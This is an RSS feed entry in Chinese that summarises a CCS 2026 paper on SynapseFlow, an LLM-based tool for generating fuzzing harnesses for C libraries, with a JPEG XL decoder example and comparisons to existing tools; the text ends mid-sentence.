<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>奇安信技术研究院</title>
    <link>https://wechat2rss.xlab.app/feed/77a8d89f12dcb0aa75a19731e474a63427089081.xml</link>
    <description>网安技术研究国内外前沿动态，相关技术研究发展报告。&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (奇安信技术研究院)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM7sPAW7y7wrsJr9PAV3pvTAhNIJ3s8saasf1HIeM7gicaQ/0</url>
      <title>奇安信技术研究院</title>
      <link>https://wechat2rss.xlab.app/feed/77a8d89f12dcb0aa75a19731e474a63427089081.xml</link>
    </image>
    <item>
      <title>【论文分享】思考更深，生成更强：基于数据流聚合与工作流分解的模糊测试驱动自动生成</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247489265&amp;idx=1&amp;sn=4b675d38f8a47a38765a0446eef87010</link>
      <description>奇安信星图实验室、信息支援部队工程大学和武汉大学的研究团队在CCS 2026会议上发表了论文《Thinking More, Harnessing Better: Automatic Harness Generation with Dataflow Aggregation and Workflow Decomposition》</description>
      <content:encoded><![CDATA[<p><span>星图实验室</span> <span>2026-07-16 11:39</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=264219f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FQSjGzxHEMduBqZW6QgkItsjqdvRnVq7RHib9xATRyZr9V5aUcictc7PNgP4do5DqBBQVuticJkWe0KicJTEZkBX5I4bibF17Y3y2PQibAqRu4Vr0Q%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>奇安信星图实验室、信息支援部队工程大学和武汉大学的研究团队在CCS 2026会议上发表了论文《Thinking More, Harnessing Better: Automatic Harness Generation with Dataflow Aggregation and Workflow Decomposition》</p>
  <div data-tools="135编辑器" data-id="147325" data-pm-slice="0 0 []"><div style="margin: 10px auto;"><div style="margin-bottom:10px;"><div style="display: flex;justify-content: space-between;align-items: center;"><div><p style="font-size: 12px;color: #c6c6c6;text-align: left;"><span data-brushtype="text"><span leaf="">Academic Presentations</span></span></p><p style="font-size: 16px;color: #333333;text-align: center;"><strong data-brushtype="text"><span leaf="">引言：harness-模糊测试的“桥梁”与“瓶颈”</span></strong></p></div><div style="flex-shrink: 0;"><p style="width: 20px;box-sizing:border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.696" data-type="gif" data-w="250" style="width: 100%;display: block;vertical-align:baseline;box-sizing:border-box;" data-width="100%" data-imgfileid="100005612" src="https://wechat2rss.xlab.app/img-proxy/?k=eb6ab52c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FQSjGzxHEMdt5Bd5pevLCY1pUmIP4szicIiaOCicguj5hgUGMurBSs4v1JFvnXb0CMO2TFJMYUia8OhTYMFj4cOoHR0avcKJOTs6fEcjWHx1jZ98%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div></div><p style="width: 100%;max-width:100% !important;box-sizing:border-box;" data-width="100%" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3569868995633188" data-s="300,640" data-type="png" data-w="1832" style="width: 100%;display: block;vertical-align:baseline;box-sizing:border-box;" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/QSjGzxHEMdt7tB2ZRhPqzIcxRShyjkQMjWic3aU0UQ4fzn4rX3UQmmIDcib582iccRbUntMwIBib1rzqDAqf4ZZhicQN0VNGIF0ghrmGrBQUL43g/0?wx_fmt=png&amp;from=appmsg" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="335" data-imgfileid="100005613" src="https://wechat2rss.xlab.app/img-proxy/?k=40f85571&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdt7tB2ZRhPqzIcxRShyjkQMjWic3aU0UQ4fzn4rX3UQmmIDcib582iccRbUntMwIBib1rzqDAqf4ZZhicQN0VNGIF0ghrmGrBQUL43g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">模糊测试的高效性，取决于测试数据能否深入待测程序的内部逻辑。对于</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">C</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">语言编写的系统库和复杂应用，仅从最外层入口如命令行工具进行测试，往往只能覆盖外围代码，大量核心功能模块被层层封装，难以触及。为此，业界引入了模糊测试驱动（</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">harness</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">），并借助大语言模型（</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">LLM</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">）辅助</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">harness</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">的自动生成。</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">Harness </span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">是一段“桥梁代码”，它接收模糊引擎生成的原始变异数据，将其转换为目标函数所需的参数格式，并按正确顺序调用一个或多个内部函数，从而将测试数据精准注入到待测模块的深层逻辑中，以覆盖从资源初始化、数据格式转换到核心业务处理、资源回收的完整链路。然而，在真实软件中，待测函数之间往往存在严密的调用顺序和数据依赖关系。</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">harness</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">自动生成过程的任何一步错误或缺失，都可能导致编译失败、运行时崩溃，甚至产生虚假的漏洞报告。</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">因此，为解决</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">harness</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">自动生成过程中函数粒度过粗、未匹配真实数据流以及</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">LLM</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">幻觉等问题，提升漏洞挖掘质量与效率，奇安信星图实验室、信息支援部队工程大学和武汉大学的研究团队在</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">CCS 2026</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">会议上发表了论文《</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">Thinking More, Harnessing Better: Automatic Harness Generation with Dataflow Aggregation and Workflow Decomposition</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">》。这项工作由奇安信星图实验室安全研究员张兴主导完成，其余作者为杨刚（信息支援部队工程大学）、黄子康（奇安信和武汉大学联培硕士生）、应凌云（奇安信星图实验室）、王聪冲（奇安信星图实验室）、刘璐（奇安信星图实验室）、尹斌（奇安信星图实验室）、王明义（奇安信星图实验室）、赵梓荃（奇安信天工实验室）、李敏（奇安信天工实验室）、陈震宇（奇安信星图实验室）和吴波（信息支援部队工程大学）。</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">论文结果表明，论文工具</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">SynapseFlow</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">相较于当前最先进的</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">OSS-Fuzz-Gen</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">（</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">Google</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">）和</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">PromeFuzz</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">（</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">CCS 2025</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">），分别带来</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">3.07</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">倍和</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">4.26</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">倍的分支覆盖率</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">(llvm-cov branch)</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">提升，并发现</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">7</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">个此前未知的漏洞。</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">论文链接：</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf=""><a href="https://arxiv.org/abs/2607.07007" target="_blank">https://arxiv.org/abs/2607.07007</a></span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">论文的代码及实验部分数据将在通过</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">CCS</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">组委会的评审后公开。</span></span></p><p nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.33964646464646464" data-type="jpeg" data-w="792" height="400" style="padding: 0px;margin: auto;box-sizing: border-box;display: inline-block;max-width: 100%;vertical-align: middle;width: auto;height: auto;border: rgba(0, 0, 0, 0);" width="100%" data-imgfileid="100005605" src="https://wechat2rss.xlab.app/img-proxy/?k=45f7e500&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQSjGzxHEMdumqEz46l3yCozDPqTdbPGvicF9O3fy5VES14icXWibwXdfVb95S3Ku7e0Sq4KtRQHIMVF5tJJ7nRj3lvcz25VF0JVvceOOibqhKMY%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><div data-tools="135编辑器" data-id="147339" data-pm-slice="0 0 []"><div style="margin: 10px auto;background-color: #e9f1fa;border-radius: 7px;padding: 0px 10px;box-sizing: border-box;"><div style="display: flex;justify-content: space-between;align-items: center;"><div style="display: flex;align-items: center;"><div style="flex-shrink: 0;"><p style="font-size: 16px;letter-spacing: 1.5px;color: #ffffff;background: linear-gradient(to right,#bdcaff,#a7e2ff);width: 40px;height: 40px;border-radius: 100%;display: flex;justify-content: center;align-items: center;border: 2px solid #ffffff;box-sizing:border-box;"><strong><span leaf="">0</span></strong><strong><span leaf="">1</span></strong></p></div><div><p style="font-size: 16px;color: #333333;text-align: center;padding: 0 0 0 10px;box-sizing:border-box;"><strong data-brushtype="text"><span leaf="">问题的本质：为什么LLM生成harness质量受限？</span></strong></p></div></div></div></div></div><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">LLM</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">的发展为自动化</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">harness</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">生成带来了新的研究思路。然而，现有基于</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">LLM</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">的</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">harness</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">生成方法普遍存在一个根本性的缺陷——单轮生成。这些方法通常的做法是：将目标函数的源代码、以及静态分析预处理得到的控制流辅助信息一次性提交给</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">LLM</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">，引导</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">LLM</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">在单次交互中直接生成完整的</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">harness</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">代码。</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">这种单轮生成的思路存在两个核心问题：</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">·函数选择不准确，缺乏数据流感知。现有工具在决定</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">harness</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">的待测函数序列时，往往依赖于简单的启发式规则（如函数调用关系）或</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">API</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">级别的语义相似度，缺乏对数据流的系统性理解。这导致生成的</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">harness</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">遗漏了关键的初始化或处理函数，覆盖率低；或引入了不相关的函数，降低模糊测试效率。</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">·</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">LLM</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">幻觉在生成中累积放大。当</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">LLM</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">被要求一次性生成一段复杂的、涉及多个函数调用的</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">harness</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">时，容易编造不存在的函数、错误使用宏定义、或插入文件</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">I/O</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">等损害模糊测试性能的操作。且在单轮生成的模式下，这些错误产生后无法被及时发现和修正，只能在最后的迭代修复过程根据错误信息尝试修复所有错误，容易在迭代过程中产生新的幻觉。</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">以论文中提到的</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">j40</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">项目（</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">JPEG XL</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">图像解析库）为例。一个高质量的</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">harness</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">需要按正确顺序调用</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">7</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">个关键函数，从</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">j40_from_memory</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">读取原始字节流开始，经过</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">j40_output_format</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">、</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">j40_next_frame</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">、</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">j40_current_frame</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">、</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">j40_frame_pixels</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">、</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">j40_row</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">等一系列处理，最后调用</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">j40_free</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">释放资源。</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">然而，在测试现有最先进的</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">harness</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">生成工具时，发现了许多问题：</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">OSS-Fuzz-Gen</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">只选择了两个不相关的函数，完全无法进行有意义的测试；</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">CKGFuzzer</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">生成了一个不完整的序列，还引入了手动的内存分配、拷贝等多余操作；</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">PromeFuzz</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">虽然识别了更多函数，却错误地包含了两个不同的输入处理函数</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">j40_from_memory</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">和</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">j40_from_file</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">，违反了</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">libFuzzer</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">的单入口原则，还加入了损害性能的文件操作。</span></span></p><p nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4981949458483754" data-type="jpeg" data-w="554" height="400" style="padding: 0px;margin: auto;box-sizing: border-box;display: inline-block;max-width: 100%;vertical-align: middle;width: auto;height: auto;border: rgba(0, 0, 0, 0);" width="100%" data-imgfileid="100005607" src="https://wechat2rss.xlab.app/img-proxy/?k=14414f4a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQSjGzxHEMduzLsqfFgArRbEkb5mEJPQtjPrh8MmOfl3e4SjZGhx7EqzvU1QcTSSt5Vhx5ibwmUvhy0abead94GHLmGvkcr0qjwVW271eFxbA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">导致这些问题的核心原因是，这些工具无法识别由输入</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">/</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">输出结构体所定义的函数间数据依赖关系，且出现函数组合错误时也无法得到有效的验证与修复。</span></span></p><div data-tools="135编辑器" data-id="147339" data-pm-slice="0 0 []"><div style="margin: 10px auto;background-color: #e9f1fa;border-radius: 7px;padding: 0px 10px;box-sizing: border-box;"><div style="display: flex;justify-content: space-between;align-items: center;"><div style="display: flex;align-items: center;"><div style="flex-shrink: 0;"><p style="font-size: 16px;letter-spacing: 1.5px;color: #ffffff;background: linear-gradient(to right,#bdcaff,#a7e2ff);width: 40px;height: 40px;border-radius: 100%;display: flex;justify-content: center;align-items: center;border: 2px solid #ffffff;box-sizing:border-box;"><strong><span leaf="">0</span></strong><strong><span leaf="">2</span></strong></p></div><div><p style="font-size: 16px;color: #333333;text-align: center;padding: 0 0 0 10px;box-sizing:border-box;"><strong data-brushtype="text"><span leaf="">SynapseFlow的核心设计与解决方案</span></strong></p></div></div></div></div></div><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">面对上述挑战，论文设计并实现了</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">harness</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">自动化生成工具</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">SynapseFlow</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">，基于数据流聚合以及分阶段、可回滚的工作流分解，逐步解决复杂的</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">harness</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">生成任务。</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">SynapseFlow</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">的整体工作流程如下图所示，包括两部分核心流程： </span></span></p><p nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2971014492753623" data-type="jpeg" data-w="552" height="400" style="padding: 0px;margin: auto;box-sizing: border-box;display: inline-block;max-width: 100%;vertical-align: middle;width: auto;height: auto;border: rgba(0, 0, 0, 0);" width="100%" data-imgfileid="100005604" src="https://wechat2rss.xlab.app/img-proxy/?k=3f56d811&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FQSjGzxHEMdstQRZ3lUic77mmDicvvILnWrqg2HzAe8sp9gnEXATcdxibJKUF6fQOpicdRpdkhnkcQJ3hL8khYuWXTky8uAA5iaQfZGbOD3BHw0e4%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">1.</span></span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">基于数据流聚合的函数三元组提取</span></span></strong></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">这一阶段的目标是从源代码中自动识别出应该被放入同一个</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">harness</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">中协同测试的函数集合。论文将该集合称为函数三元组（</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">Function Triplet, FT</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">）。</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">步骤</span></span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">1</span></span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">：函数语义标注。</span></span></strong><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">首先，</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">SynapseFlow</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">对项目中的每个函数进行语义分类，定义了如下三种类型：</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">输入流函数（</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">ISF</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">）：将字节流等外部原始数据输入内部结构体的函数，例如</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">j40_from_memory</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">。</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">处理函数（</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">PRF</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">）：对已初始化的结构体进行读取、验证或转换等处理操作的函数，例如</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">j40_next_frame</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">、</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">j40_frame_pixels</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">。</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">辅助函数（</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">HPF</span></span><span style="padding: 0px;margin: 